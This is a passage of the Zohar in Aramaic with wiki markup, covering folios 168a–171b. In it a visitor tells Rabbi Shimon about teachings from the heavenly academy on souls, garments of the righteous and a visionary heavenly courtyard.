זמנא דהוו בחרן כמה דעבדין צדיקייא בגן עדן. כמה דכתיב {{צ|ואת הנפש אשר עשו בחרן}} - נפש עשו ודאי. 

חדי ר&quot;ש א&quot;ל ההוא גברא אי רבי מה אימא לך בכל ריש ירחי ושבתי ומועדייא וזמנייא אינון דכורין סלקין לאתחזאה קמי מלכא קדישא דכורין ולא נוקבין כמה דאת אמר {{צ|יראה כל זכורך}}. וכד אהדרן מהדרן בכמה מלי חדתין ואהדרן מלין קמי רב מתיבתא. יומא דא אהדרן מלין חדתין קמי רב מתיבתא על רזין עתיקין צדיק וטוב לו. צדיק ורע לו. דכלהו סלקין גו מתקלא דאילנא עד לא ייתון לעלמא וכפום טקלא דמתקלא הכי אית לון בהאי עלמא. רב מתיבתא נחית וגלי ממה דשמע לעילא מלה חדא גלי ולא יתיר אעא דלא סליק נהוריה יבטשון ביה ואנהיר. גופא דלא סלקא ביה נהורא דנשמתא יבטשון ביה ויסלק נהירו דנשמתא ויתאחדון דא בדא לאנהרא (תרי נוסחי) בגין דאית גופא דנהירו דנשמתא לא החיר ביה עד דיבטשון ביה כדין נהיר נהירו דנשמתא ואתאחדת בגופא וגופא אתאחד בה. גופא כדין סליק נהירו מגו נשמתא מחדד מרומם ושבח מצלי צלותיה ובעותיה מברך למאריה הא כדין כלא נהיר:

בגין דאית גופא דלא יכילת נשמתא לאנהרא ביה עד דיבטשון ביה וכדין נהיר ואתאחד דא בדא. אית אעא דלא אתאחד בנהורא ולא סליק נהורא ביה עד דביטשון ביה וכדין נהיר. סטרא אחרא בעי למעבד הכי ובטש בחייביא וכל מה דבטש כדין ונר רשעים ידעך מחרף ומגדף. לכל סטרין ולא יכיל לאנהרא כלל וכדין כתיב {{צ|כי מה האדם שיבא אחרי המלך}} ובעי לאתדמי ליה ולא יכיל. ועל דא {{צ|יהוה צדיק יבחן}} ובטש ביה וכדין נהיר ואתקף בנהירו. יבחן כמה דאת אמר {{צ|אבן בחן}}. גחין ר' שמעון ונשיק לעפרא. אמר מלה מלה אבתרך רדיפנא מיומא דהוינא והשתא אשתמודעא לי מלה מגו שרשא ועקרא דכלא. 

א&quot;ל אי רבי אי רבי כד סלקין לעילא כל אינון רוחין דכורין ונוקבין בההוא זמנא שטעין (ס&quot;א כמה) מלין חדתין ועתיקין נחתין ועאלין לגו מתיבתא ואהדרן מלי קמי רב מתיבתא ואיהו אוליף לון מלה על קיומיה כד סלקין מתפשטין מלבושיהון וסלקין כד נחתי מתלבשין בלבושיהון דההוא גופא אי רבי אי רבי כמה חדתין מלין מגו רב מתיבתא. זכאה איהו מאן דאזער גרמיה בהאי עלמא כמה איהו רב ועלאה בההוא עלמא והכי פתח רב מתיבתא. מאן דאיהו זעיר איהו רב. ומאן דאיהו רב איהו זעיר. דכתיב ויהיו &lt;קטע סוף=דף קסח א/&gt;

 
{{ממ זהר משולב|ג|קסח|ב}}&lt;קטע התחלה=דף קסח ב/&gt;חיי שרה מאה שנה ועשרים שנה ושבע שנים. מאה דאיהו חשבון רב כתיב ביה שנה זעירו דשנין חד אזעיר ליה. שבע דאיהו חשבון זעיר אסגי ליה ורבי ליה דכתיב {{צ|שבע שנים}}. תא חזי דלא רבי קב&quot;ה אלא לדאזעיר לא אזעיר אלא לדרבי. זכאה איהו מאן דאזעיר גרמיה בהאי עלמא כמה איהו רב בעלויא בההוא עלמא. אדהכי שמעו שירתא דימא בקל נעימו דלא שמעו מיומא דאתבריאו קל נעימו דשירתא כההוא נעימו דהוו אמרי. וכד סיימו יהוה ימלוך לעולם ועד. חמו ד' דיוקנין ברקיע. וחד מנייהו רב ועלאה מכלהו. וההוא רב ועלאה נייהו אתער קלא ואמר כה אמר יהוה זכרתי לך חסד נעוריך אהבת כלולותיך וגו'. שאט ברקיעא ואגניז קם אחרא אבתריה ואמר והולכתי עורים בדרך לא ידעו בנתיבות לא ידעו וגו'. סיים ושאט ברקיעא ואגניז פתח אידך ואמר ישושום מדבר וציה ותגל ערבה ותפרח כחבצלת. ושאט ברקיעא ואגניז פתח אידך ואמר כה אמר יהוה בוראך יעקב וגו' (שם) כה אמר יהוה הנותן בים דרך ובמים עזים נתיבה וגו'. תכבדני חית השדה תנים ובנות יענה וגו'. סיים ושאט ברקיעא ואגניז. כדין דחילו סגיא ואמתני נפל עלייהו כד הוה נהיר יממא קלא אתער כמלקדמין ואמר עמא תקיפא כאריה גברין כנמרין הבו יקר למאריכון דכתיב {{צ|על כן יכבדוך עם עז וגו'}}. שמעו קל חילין ומשריין דהוו אמרי לך יהוה הגדולה והגבורה והתפארת והנצח וההוד וגו'. עד ומרומם על כל ברכה ותהלה. תווחו ואזלו. אדהכי נהר יממא אהדרו רישא וחמו כל מדברא חפי בענני יקר מנהרן מנצצן בגוונין סגיאין. אמרו דא לדא ודאי קב&quot;ה בעי לאשתבחא בתושבחתא דדרא דמדברא דלא הוה בעלמא דרא עלאה כדרא דא ולא יהא עד דייתי מלכא משיחא ודאי כל מה דאחמי לן קב&quot;ה לא הוה אלא בגין לאודעא לן חביבו דמאריהון עלייהו לאודעא דאית לון חולקא טבא ואינון בני עלמא דאתי ולזמנא דאתי כד יוקים קב&quot;ה מתייא זמינין אלין לאחייא בקדמיתא כמה דאת אמר {{צ|יחיו מתיך}}. ואלין אינון דרא דמדברא א&quot;ל אי מלה חדתא ידעת דאנא ערטירא בה. א&quot;ל אימא אמר קלא דהדרא בעינא למנדע. בר נש יהיב קלא בחקלא או באתר אחרא והדרא קלא אחרא ולא ידיע א&quot;ל אי חסידא קדישא על מלה דא כמה קלין אתערו וכמה דקדוקין הוו קמי רב מתיבתא וכד נחת רב מתיבתא אמר הכי אוקמוה מלה במתיבתא דרקיעא ורזא יקירא איהי. 

תא חזי תלת קלין אינון דלא אתאבידו לעלמין בר קלין דאורייתא וצלותא דאלין סלקין לעילא ובקעין רקיעין אבל קלין אחרנין אינון דלא סלקין לא אתאבידו ואינון תלת קול חיה בשעתא דאיהי על קלביטא ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול דבר נש בשעתא דנפיק נשמתיה מגופיה ההוא קלא משטטא ואזלא באוירא מסייפי עלמא עד סייפי עלמא. קול נחש בשעתא דפשיט משכיה ההוא קלא משטטא באוירא ואזלא מסייפי עלמא עד סייפי עלמא.  &lt;קטע סוף=דף קסח ב/&gt;


{{ממ זהר משולב|ג|קסט|א}}&lt;קטע התחלה=דף קסט א/&gt;אי חסידא קדישא כמה מלה דא רבא ויקירא. אלין קלין מה אתעביד מינייהו ולאן אתר עאלין ושארן. אלין קלין דצערא אינון ואזלין ומשטטי באוירא ואזלי מסייפי עלמא עד סייפי דעלמא ועאלין גו נקיקין ומחילין דעפרא ואתטמרן תמן. וכד ש דף קסט/א יהיב ב&quot;נ קלא אינון מתערין לגבי ההוא קלא. קלא דנחש לא אתער לגבי קלא דב&quot;נ. היאך יתער במחאה כד מחי בר נש מחאה אתער קלא דנחש דאתטמר לגביה ההוא קלא ולאו קלא אחרא. קלא אתער בתר קלא זינא בתר זיניה. ועל דא ביומא דר&quot;ה קול שופר אתער קול שופר אחרא זינא בתר זיניה אזלא. ארחיה דנחש לביש איהו לקטלא ולמחאה בההוא קלא ממש לא אתער קלא דהאי נחש אלא בתר זיניה ודא איהו כד בר נש מחי בחוטרא בארעא וקרי ליה לזיניה כדין אתער ההוא קלא דנחש לאתבא לזיניה ורזא דא איהו טמירו. אמר ר' שמעון ודאי מלה דא מלה סתימא היא. ותווהנא איך שלמה מלכא לא ידע מלה דא. א&quot;ל שלמה מלכא מנדע ידע ולא כ&quot;כ. אבל מה דלא ידע ההוא קלא מה תועלתא אית בה והיך יתבא. ורב מתיבתא הכי אמר דקדוקא דא לא ידע שלמה מלכא דהא ההוא קלא איהי כלילא רוחא ונפשא והבל גרמי מעצבונא דבשרא ומשטטא באוירא וכל חד מתפרש דא מן וכד מטא לההוא אתר דעאל ביה יתבא כמיתא וכל אינון חרשין וקוסמין ידעין אתרין אלין בחרשייהו וגחנין לארעא ושמעין קלא דא דמתחברן אינון רוחא ונפשא והבל דגרמי ואודעין מלה ודא איהו אוב מארץ ועל דא רדיף שלמה למנדע מה דאתעביד מההוא קלא ולא ידע. זכאה חולקך רבי דאתבריר לך מלה דקשוט. 

כד בר נש אתער קלא מיד (מתחברן) אתער ההוא קלא ולית ליה רשו לארכא יתיר. אלא כעין ההוא קלא דאתער ב&quot;נ ולא יתיר ואי אריך בר נש קליה איהו לא אריך כל כך בהדיה אלא לסופא דקלא בגין דלא יכיל לארכא מאי טעמא בגין דכד נפק בקדמיתא אתאריך מסייפי עלמא עד סייפי עלמא והשתא דעאל תמן לא יכיל לארכא קלא דהא ליתליה אתר לאתפשטא תמן כדבקדמיתא חדי ר&quot;ש ואמר אלמלי לא זכינא למשמע אלא מלה דא די לי למהוי חדי דזכינא למשמע מלין דקשוט דההוא עלמא. א&quot;ל אי חסידא קדישא אלמלי ידעת חדוה דמלין בההוא עלמא קמי רב מתיבתא תהא חדי יתיר. א&quot;ל מאי חדושא הוה השתא כד אתית לגבי. אמר. רב מתיבתא פתח ואמר ויוסף ישית ידו על עיניך. חדוה הוא. אמאי סתימו דעיינין למיתא בגין דעיינין גוונין דהאי עלמא אינון וחיזו ודיוקנא דהאי עלמא בהו איהו אסתים מניה האי עלמא חיזו דהאי עלמא אסתימו עינוי כל חיזו דהאי עלמא הא אתחשך מניה. וחשכין מניה חיזו דעינוי לית ליה חיזו בהאי עלמא מתמן ולהלאה. אמר ר' שמעון יאות תקונא דקדמאי וחכמתא דלהון יתיר ממלאכין קדישין. א&quot;ל יוסף אמאי ישית ידו מכל בנוי ואי תימא על בשורה דיליה מבעי ליה ויוסף חי תראה א&quot;ל ישית ידו בגין דרחימו דיליה הוה ובגין כך דא אסתים מיניה נהירו דהאי עלמא ודא נטיל ליה. מאן דאסתים עינוי רחימא דיליה אחזי הכי חיזו דילך דהאי עלמא אתאביד. הא אנא חיזו דילך באתרך מכאן ולהלאה יתתקנון לך חיזו אחרא דההוא עלמא. אמר ר' שמעון מה אתהני האי למיתא ומה תועלתא אית ליה בהאי מאן דיבעי למשאל (יומא) מה דאצטרי לאפקחא עינוי בגין לאחזאה דעדיין אזדמן איהו לאתבא לחיזו דהאי עלמא כדבקדמין. א&quot;ל אי חסידא קדישא ודאי אי לא אסתים מניה כל חיזו דהאי עלמא ולא אתאביד כלא מניה לא להוי ליה חיזו וחולקא דההוא עלמא. עלמא דא בהפוכא איהו מההוא עלמא דאנן ביה דבזמנא דתחיית מתייא אפילו כחוטא דשערא לא הוה מעובדא דהאי עלמא דכלא אתאביד בקדמיתא (טלא יבטיל ליה וישוי ליה) בההוא &lt;קטע סוף=דף קסט א/&gt;

 
{{ממ זהר משולב|ג|קסט|ב}}&lt;קטע התחלה=דף קסט ב/&gt;טלא (בקדמיתא) ויתעבר מניה כל זוהמא ולבתר יתעביד כחמירא דא ומניה יתעביד גופא בריה חדתא כך הכא. א&quot;ל רבי שמעון ודאי ידענא דאתון מלובשין תמן בלבוש יקר דגופא דכיא קדישא אי הוה בגוונא דא בהאי עלמא ב&quot;נ דאתחזי בההוא גופא כגוונא דאתון קיימין בההוא עלמא. א&quot;ל מלה דא שאילו קמי רב מתיבתא תרין עולימין דאתלבשו ביננא בתר דסבלו צערא על חובא דלא אתחזי לגלאה ושאילו דא קמי רב מתיבתא ואיהו אמר דהא הוה בהאי עלמא הכי מנלן דכתיב {{צ|ויהי ביום השלישי ותלבש אסתר מלכות}} - אתלבשת בההוא דיוקנא דההוא עלמא. מלכות דא רוחא דקודשא דהא מלכות שמיא נשיב רוחא מההוא רוחא דאוירא דההוא עלמא ואתלבשת ביה אסתר. וכד עאלת קמי מלכא אחשורוש וחמא ההוא לבושא נהורא דיוקנאה אדמי למלאך אלהים. פרחה מניה נשמתא לפום שעתא. מרדכי אוף הכי דכתיב {{צ|ומרדכי יצא מלפני המלך בלבוש מלכות}} - {{צ|לבוש מלכות}} ודאי - דיוקנא דההוא עלמא. ועל דא כתיב {{צ|כי נפל פחד מרדכי עליהם}} - {{צ|פחד מרדכי}} ולא פחד אחשורוש. 

אמר רבי שמעון כמה מתיקין אינון מלין זכאה חולקי והא ידענא דצדיקייא (ס&quot;א בהאי) בההוא עלמא מתלבשן בלבושא דאקרי לבוש מלכות והכי הוא ודאי. א&quot;ל אוירא דג&quot;ע נשיבו דרוח קודשא אינון ומתלבשן ביה צדיקייא כגוונא דהוו בהאי עלמא. ולבתר רוח קודשא שראת על רישא דכל חד וחד ואתעטר ואתעבידא ליה עטרא וכך הוה למרדכי דכתיב {{צ|בלבוש מלכות}} - דיוקנא דההוא עלמא. ולבתר ועטרת זהב גדולה דא עטרת דשריאת על רישיהון דצדיקייא בההוא עלמא. כד קבילו ישראל אורייתא כגוונא דא הוה להון. עד דחבו דכתיב בהו {{צ|ויתנצלו בני ישראל את עדים מהר חורב}}. אתפשטו מההוא לבושא וכן כתיב ביהושע כהנא רבא {{צ|הסירו הבגדים הצואים מעליו}}, וכתיב {{צ|וילבישוהו בגדים}} אלין לבושין דההוא עלמא מהכא מלין קדמאין ומהכא דכל זמנא דגופא דהאי עלמא קיימא בקברא בקיומא לא אתלבש רוחא בלבושא דההוא עלמא דכתיב {{צ|ויסירו הבגדים הצואים מעליו}} בקדמיתא ולבתר {{צ|וילבישוהו בגדים}}. {{צ|ומלאך יהוה עומד}} - מהו {{צ|עומד}}? אלא דא היא עטרא דאקרי מלאך יהוה דקיימא על רישיהון דצדיקיי' ודא איהו {{צ|עומד}} - עומד על רישא לעילא. לבתר דאתלבשן כהאי לבושא דיקר. תרין גופין כחדא לא יכלין למיקם כל זמנא דהאי קיים רוחא לא מקבלא אחרא. אתעבר דא הא אחרא זמינא מיד ודאי. דא נפיק ודא עאל כגוונא דיצר טוב ויצר רע. בהאי עלמא לא בעי קב&quot;ה דתרווייהו יקומון כחדא אמר ליה תווהנא על מה דכתיב (שם) {{צ|והשטן עומד על ימינו לשטנו}}. וכי יהושע בן יהוצדק כך שאר בני עלמא על אחת כמה וכמה. 

א&quot;ל חסידא קדישא כמה טמירין סתימין מלין אלין (א&quot;ל) אע&quot;ג דחברייא ידעין במלין דההוא עלמא לא יכלין למנדע ברזין אלין. 
א&quot;ל. כיון דבר נש בההוא עלמא מה תועלתא אית לההוא שטן לאסטאה ליה. ולא די ליה דאפיק נשמתיה מניה וקטיל ליה. 
אמר ליה אי חסידא קדישא זכאה חולקך. תא חזי תיאובתא דשטן לא הוה אלא בגין דלא יתלבש ההוא זכאה בלבושא דכיא קדישא דכיון דחזי ההוא שטן דלבושא דיליה אתדחיא ולא אתחשיב על דא אסטי ליה. מאי טעמא בגין דאי אתלבש בההוא לבוש יקר מיד לבושא דזוהמא ועבידתא דההוא שטן יתבטל ויעבר מעלמא ולא ניחא ליה לשטן. ותו דבכל זמנא דלא אתלבש פקדא רוחא לההוא גופא דזוהמא דיליה. וניחא ליה לשטן. וכיון דאתלבש &lt;קטע סוף=דף קסט ב/&gt;

 
{{ממ זהר משולב|ג|קע|א}}&lt;קטע התחלה=דף קע א/&gt;בההוא לבוש יקר הא אתבטל גווני דיצרא בישא וגופא דיליה וליה ליה דוכרנא בהדיה לעלמין. ואי תימא דאנן פקדין לבי קברי בריש כל ליליא לאו על גופא אלא דנפשא ונפשא פקדא לגופא. אבל השתא פקדונא דילן איהו לנפשא דאיהי משתככא ואשתארת בשכוכי גו גרמי. ובגין כך בריש כל ליליא פקדונא דרוחא לנפשא ולא על בשרא. אי חסידא קדישא תא ואגלי לך מלה סתימא בניינא דגופא דבר נש הכי הוא רוחא מעם רוחא דקודשא נשמתא מגו אילנא דחיי. כיון דרוחא קדישא יהב חילא מיד רתיכין דיליה יהבין חילייהו חילא דלהון גרמי ושייפין כלהו מסטרא דלהון ותקונייהו דא על דא. סט&quot;א יהבת בשרא ומסטרא דיליה אתיא בשרא ולא מלה אחרא. רתיכין דיליה יהבין כל אינון גידין וערקין לאמשכא דמא לבשרא בתר דאלין יהבי חילייהו שמיא יהבי חילייהו ומאן אינון עור דאתמשך על כלא כגוונא דלהון. לבתר מתחברן שמיא וארעא כחדא ויהבי ד' יסודי אלין אשא ומיא ואוירא ועפרא לאגנא על אלין ולחפיא על כלא לבתר כל חד נטיל חולקיה דיהב ואתבטל רוחא דקודשא ורתיכין דיליה חולקייהו קיימא רוחא דקודשא. רוחא דיליה קיימא ונשמתא סלקא רתיכין דרוחא דקודשא גרמין דלהון קיימין וע&quot;ד השיבו דגופא גרמין הוו ובגין כך כתיב {{צ|ועצמותיך יחליץ}}. ובשרא לא כתיב ביה הכי וכל זמנא דבשרא דסטרא אחרא קיימא בקיומא ההוא שטן קיימא לאסאנא אתאביד בשרא לית ליה רשו לאסטנא דהא לית ליה על מה דיסתמיך ועל דא כתיב יכל בשר מרואי ושפו עצמותיו לא ראו. מההוא חיזו דשטן דקיימא לאסטנא דלא יכיל כיון דיכל בשרו ושפו עצמותיו לא ראו. לא אתחזון לקרבא לגביה דלית ליה בהון חולקא כיון דשף כל חד וחד מדוכתיה לא תבע עלייהו ולא קאים לאסטנא בגינייהו לבתר דבשרא מתעכלא הא לא יתבע דינא ולא קאים לאסטנא דהא לית ליה על מה דיסתמיך ולא אדכר לב&quot;נ בשום מלה דעלמא. 

א&quot;ר שמעון השתא ידענא מלין על תקונייהו. ודאי יאות הוא ליה לאסטנא א&quot;ל ר' (שמעון) חגור זינך ותקין גרמך אי תבעי למנדע מלין דשארית או אי תשאל בהני מלין אימא לי. א&quot;ל ודאי הא ידענא דביתאי שכיבת דלא ידענא מנה כלום וחברייא ידעין. נשין מ&quot;ט דעתייהו קלה. א&quot;ל דעתא אתיא בשית דרגין. וכל חד נטיל חולקיה מה דאשתאר קל איהו אבל יקירא דא אי לאו דאשת כסילות אשתתף בה. במלה דא לא תשאל דהא ידענא דלאו על דביתך שאלת אלא על מה דכתיב {{צ|הנה יהוה רוכב על עב קל}} וההוא עב קל אקרי דעת מההיא כלה יראת יהוה ואיהי קיימא באמצעיתא כגוונא דדעת עלאה אבל (ס&quot;א וע&quot;ד) אקרי קל. והא ידענא שאלתא דילך מאי היא. אבל שארי וחגור זינך וקטיר קטרך דהא עידנא הוא לגלאה כמה דשארית עובדא. דעל אנפי רוחב ביתא. אולם דעזרה לגו. בהאי עזרה אית תריסר פתחין לפום חושבן שבטיא דישראל. בפתחא חדא כתיב ראובן. ובפתחא אחרא כתיב שמעון וכן כל שבטיא דישראל רשימין על אינון פתחין בזמנא דיסלקון לאתחזאה קמי מאריה דעלמא. מאן דעייל בפתחא דרשים ביה ראובן אי משבטא דראובן איהו מקבלין ליה פתחין ואי לא פלטין ליה לבר וכן בכלהו דלא יקבלון פתחין אלא למאן דאיהו מההוא שבטא דרשים בהון ובדא יתחקקון וישתמודען כל חד וחד. תלת מאה ושתין וחמש עמודין דנהורא מלהטא אית בכל סטרא מאינון ארבע סטרין כל אלין עמודין אקרון עמודים חיים בגין דלא קיימא נהורא דלהון &lt;קטע סוף=דף קע א/&gt;

 
{{ממ זהר משולב|ג|קע|ב}}&lt;קטע התחלה=דף קע ב/&gt;שכיך באתר חד. וכלהו אלין סלקין ואלין נחתין יהבי דוכתא דא לדא אלין דסלקין בטשין דא בדא ומנגני נגונא ואלין דנחתי אוף הכי. אלין דסלקי דנגני נגונא מאי נגונא מנגני שיר דעד כען מלאכין קדישין לא שבחו ליה בגין דאיהו חדש. מאי טעמא איהו חדש בגין דההוא דמחדש עולימוי משבח ליה ואמר ליה והכי אמר רב מתיבתא דא אקרי חדש ואיהו חדש בגין דדביק בשמשא ולא אתפרש מניה לאפקא סטרא אחרא דלית ביה חדושא דכתיב ביה {{צ|ואין כל חדש}}. זקן הוא ואתבלי ולא אתחדש. (ס&quot;א ולא עביד תולדין) דאלמלא עביד תולדין הוה מטשטש עלמא). תו פתח רב מתיבתא. שדה אתחדשת בעדונא דרגא דילה גרים דכתיב {{צ|אחרי בלותי היתה לי עדנה}}. מאי דדנה משיכו דעדן עלאה. ובגין דאתמשך עלה מסטר דנוקבא כתיב {{צ|עדנה}} בה&quot;א ובגין כך כתיב {{צ|היתה}} ולא &quot;היה&quot;. {{צ|ואדני זקן}}. וכי אע&quot;ג דאיהו זקן לא אתחזי לאולדא אלא לאו מלתא זעירתא אמרה לגביה (דאברהם אלא) דבגין (לאזער גרמה דאתדבקת) ההוא (מלך) זקן (ד&quot;א דאתדבקא) (וכסיל) לא אתחדש ולא עביד תולדין דאלמלא הוה עביד תולדין הוה מטשטשא עלמא (ס&quot;א אלא אמרה לגבי דאברהם בגין דהוא זקן לא אתחדש ולא עביד תולדין). ועל דא אהדר מלין קודשא בריך הוא למה זה צחקה שרה וגו'. ואי תימא והא כתיב {{צ|ואברהם זקן בא בימים}}. אלא בא בימים. באינון יומין עלאין דמחדשי עולמין כנשרא. ע&quot;ד נגונא דא נגונא דההוא חדש איהו. הושיעה לו. למאן לההוא חדש הושיעה ימינא דמלכא עלאה ודרועא דיליה. אינון דנחתי אוף הכי מנגני ואמרי שירה אחרא יתמא. ומאן איהו מזמור לתודה דאיהו יתמא. אוף הכי נהורא דלהון חד אתחזי. וכד מתגלגלי אתחזן חמש גוונין דנהורין. בכל עמודא ועמודא. עמודין אלין כלהו חללין מלגאו. וכד סלקי ונחתי נפקי מנייהו שלהובין דנורא כגווני חיזור ושושן. לעילא מכל עמודא ועמודא אית תלת תפוחין דבטשי בהו תלת גוונין סומק ירוק וחוור. בכל גוון וגוון מלהטן אתוון בלטי משלהובא ירוקא דאשא ולא משתככי לעלמין ולית מאן דיקום עלייהו. ארבע גלגלין מתחמן עובד ציור בכל עמודא ועמודא. באינון גלגלין אית פליאן רברבן כד מסתחרן מפקין מנייהו זגין דדהבא ואבני יקר. ומיד מתכנשי בגווייהו ולא נפלי לארעא כד נפקין אינון זגין דדהבא ואינון אבני יקר גו אסתחרותא דגלגלין אשתמע קלא דאמרי זאת נחלת עבדי יהוה וצדקתם מאתי נאם יהוה תרין אריין לבכל גלגלא וגלגלא אריא חדא מסטרא חדא ואריא חדא מסטרא חדא וכלהו מאשא ירוקא ובגלגולא דקא מסתחרן גלגלין מתחבקן אלין באלין ואזלי כלהו. בגלגולא מתדבקן דא בדא. כד סלקין עמודין מנהמן אריין אלין באלין ותפוחין פרחין באוירא וסלקין לעילא ובטשי אלין באלין באוירא ותבו לאתרייהו ומתמן נפלי ואריין פשטי ידייהו לנטלא לון וסלקין אלין מגרמייהו. אי חסידא קדישא. מאן חמא חכמתא דאומנו דצייר קב&quot;ה בעמודין אלין. בפלגו יומא נפקי תרין נשרין בכל גלגלא וגלגלא ולא ידיע אתר דנפקי מתמן ושריין על רישיהון דאלין אריין וכדין משתככי עמודין וגלגלין וקיימי בקיומייהו. ותפוחין נפלי על פומייהו דנשרי ומקבלי לון ומיד פרחין מפומא לפומא ואזלין ומשטטי בינייהו ותבו לאתרייהו ולא ידיע מאן היא. לבתר שעתא ופלגא נשרין ארימין קלא ומנגנין נגונא תאיבא ואתטמרן ולא ידיע בהי אתר. סחרנייהו דאינון עמודין אית שבכין עובד ציור. אשא סומקא ונהורא חוורא וחוטין דדהבא סחור סחור סחרין לכל סטר ומעיינא דמיא &lt;קטע סוף=דף קע ב/&gt;

 
{{ממ זהר משולב|ג|קעא|א}}&lt;קטע התחלה=דף קעא א/&gt;כמה דאת אמר {{צ|והיה ביום ההוא יצאו מים חיים מירושלם חצים אל הים הקדמוני וחצים אל הים האחרון}}. הכא פריש רב מתיבתא קרא דא לגו וקליה אשתמע לבר. (ס&quot;א ואדהוה) מדהוה פריש קרא דא. (אי קדישא אי קדישא) קל ינוקא אתער מלבר ההוא ינוקא דהוה פריש תלמודיה וגמיר קמי חד עמודא דעלמא בריה דרבי יהודה דרבית אנת והוו אחדי ביה לדינא וקליה אתער מלבר בהאי קרא ואמר מיא דאינון מלרע היך סלקין לעילא מניה לאתר עלאה יתיר מניה בכמה דרגין ומה אצטריך לון לאינון מיין לעילא. ומה אתר דכל (תפוחי) מבועין ונחלין נפקין מניה ולית פסיקו למבועי ונחלי אתשקיא מאתר נגיב מאן חמא חפירא דבירא דיהיב מיין למבועא דגביע. וכי ירושלם יהיב מיין אל הים הקדמוני אתר דכל מימין דעלמא נפקי מתמן ונבעין מניה. אי חסידא קדישא לקלא דא אשתככו וצייתו כל קלין דבני מתיבתי דתמן ובגין כך לא יכילו מארי דדינא למקרב גביה. 

בכה ר' שמעון א&quot;ל לא תבכי בוצינא קדישא זכאה חולקך דאפילו ינוקי מנך אמרי רזין סתימין דאורייתא. תא ואימא לך מה דעבדו בני מתיבתי על קליה דההוא ינוקא כד עאל קליה דההוא ינוקא כגירא לגו וכלהו צייתי ליה. בההוא שעתא אזדעזע רב מתיבתא וכל אינון דהוו קמיה ואמר מאן אינון דלא שבקין לההוא ברא דאלהא חייא למיעל קמו ואחידו ביה תלת עמודין דקיימי קמי רב מתיבתא ועאל וכל בני מתיבתי אתכנשו לגביה אמר רב מתיבתא אימא קראיך ברא קדישא. אמר עד כען דחילנא דהא אנא ממתיבתא אחרינא הוינא והכי אמרו לי כד מארי דדינא הוו אחדין בי. א&quot;ל לא תדחל ברא קדישא הכא תהא ביננא שבעה יומין ותתמחי בכל יומא מטלא קדישא. ולבתר יסלקון לך לגו ההוא מתיבתא בשאר ינוקי דהכא:

פתח ההוא ינוקא ואמר {{צ|והיה ביום ההוא}} - {{צ|ההוא}} - לא ידיע מאן הוא?! אלא בכל אתר {{צ|ביום ההוא}} יומא בתראה הוא אמאי אקרי {{צ|יום ההוא}}? אלא דא הוא יומא דאחיד סופא בשירותא. שירותא אקרי הוא כמה דאת אמר {{צ|ועבד הלוי הוא}} פולחנא דלוי לדרגא דאקרי הוא טמיר וגניז ואקרי ההוא (ה' הוא) לאחזאה סופא דכל דרגין דאיהו שירותא וכלא חד ובגין דאיהו סופא אתוסף ביה ה' (ס&quot;א הלוי הוא. הוא טמיר וגניז ודא אקרי יום ההוא לאחזאה סופא דכל דרגין דאחיד בשירותא וכלא חד) זמינא ירושלם לאפקא מיין ולנבעא נביעו הכא אית לומר סופא דכל דרגין לאו איהו ירושלם אלא ודאי ירושלם ויומא ההוא כלא חד. מה בין האי להאי אלא ירושלם כל דרגין קדישין דילה כד אמתחרן אקרון ירושלם והכי אתחמאן ואית דרגין דסחרן ואקרון עזרות אלין פנימאין ואלין לבר ואית דרגין דאקרון כר אסתחרן לשכות (ס&quot;א כד א סתחרן אלין פנימאין ואלין לבר אקרון ירושלם ואית דרגין דסחרן ואקרון עזרות ואית דרגין דאקרון לשכות) ואית דרגין דאקרון כד אסתחרן היכל ודביר. לגו מכל אינון דרגין אית חד נקודה כבודה בת מלך פנימה. נקודה דא אקרי יום ההוא וסימניך ההוא יקרא ארץ וכד יקום יומא דא מגו שבכין דעזרה יקום נביעו דמיא וההוא נביעו מן הים הקדמוני להוי. כגוונא דאמא דברה בין דרועהא ומסגיאו חלבא דיניק אתמלי פומיה ואתרבי ביה אריק חלבא לפומא דאמיה. כך חצים אל הים הקדמוני. נטליה רב מתיבתא ונשקיה. אמר חייך (ס&quot;א חיין דעלמא דמלה דא הכי) אוקמוה במתיבתא דרקיעא והכי הוא ודאי. ים האחרון דרגין בתראין דילה. אי חסידא קדישא כמה חדוה על חדוה אתוסף בההוא ינוקא גו בני מתיבתי כ&quot;ז טעמי דאורייתא אמר ההוא ינוקא ושבעין כתרין אעטרוה לאבוה בההוא יומא זכאה חולקיה מאן דזכי למילף לבריה. אמר רבי שמעון לא זכה אבוה למילף ליה. אמר אבוה שבק ורזא סתימא &lt;קטע סוף=דף קעא א/&gt;

 
{{ממ זהר משולב|ג|קעא|ב}}&lt;קטע התחלה=דף קעא ב/&gt;הוה בהאי ינוקא על מה דאסלק מעלמא ועל דבעו למידן דיניה (ס&quot;א באתגלייא) ואשתזיב מניה דא הוה באתגלייא דהוה מכסיף לרביה קמי כלא בשאלתין וקושיין דיליה ולא חייש למהך לאחרא לאתקנא תלמודוי וחליש דעתא דרביה ועל דא בעו למידן ליה בדינא תקיפא. ובגין כך אף על גב דאשתזיב ממאריהון דדינא לא אשתזיב הכא. שבעה יומין הוי דלא אשתלים דיוקניה (ס&quot;א דיניה) וכד הוה אסתחו בכאבא יתירא קמי כלא כל אינון שבעה יומין עד דאשתלים דיוקניה ועל דאסתלק מעלמא לא תבעי למנדע. אי רבי אי רבי זכאה חולקך. 

תא חזי תחות עגולא דאינון שבכין דתמן באינון מיין דההוא נביעו דמעיינא אתרשים נביעו חד ואתפשט ונפיק ונפיק לבר ועאל גו ימא רבא (דתמן) ורשים ביה ארחא בלבא דימא ומיניה שתי לויתן ורוי וחדי ואתרבי ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא ברבוייא וכד נפיק נביעו אחרא ההוא נביעו אתפשט ואזיל בטמירו תחות תהומא לגו ימא בתראה וכל אינון מים זדונים ומיין תקיפין מאיך לון וכפיף לון דלא יפקון לחבלא בני עלמא. וסימן הנותן בים דרך ובמים עזים נתיבח. ובאמצעיתא דההיא עזרה אית תרין כרובים עובדא דאומנא דמלכא קדישא ולא יכלין לקיימא בהו עלאין ותתאין ותחותייהו זמינין כל ישראל לקיימא דלא יפקון מתחות גדפייהו לבר זכאין ליהוון כל דעאלין תחות גדפייהו. תליסר אלפי מגדלין דשמשא דנהיר מנצוצא דמרגקלא בצעצועא (ס&quot;א בניצוצא) כדקא יאות. רב מתיבתא בגין כך זכה לההוא יקר. מאן יכיל למימר מאינון מלין דקא מתחדשן בכל יומא מקמי רב מתיבתא אי רבי בכל זמנא דרוחין דכורין סלקין לעילא. נשין בההוא זמנא נפקי כלהו 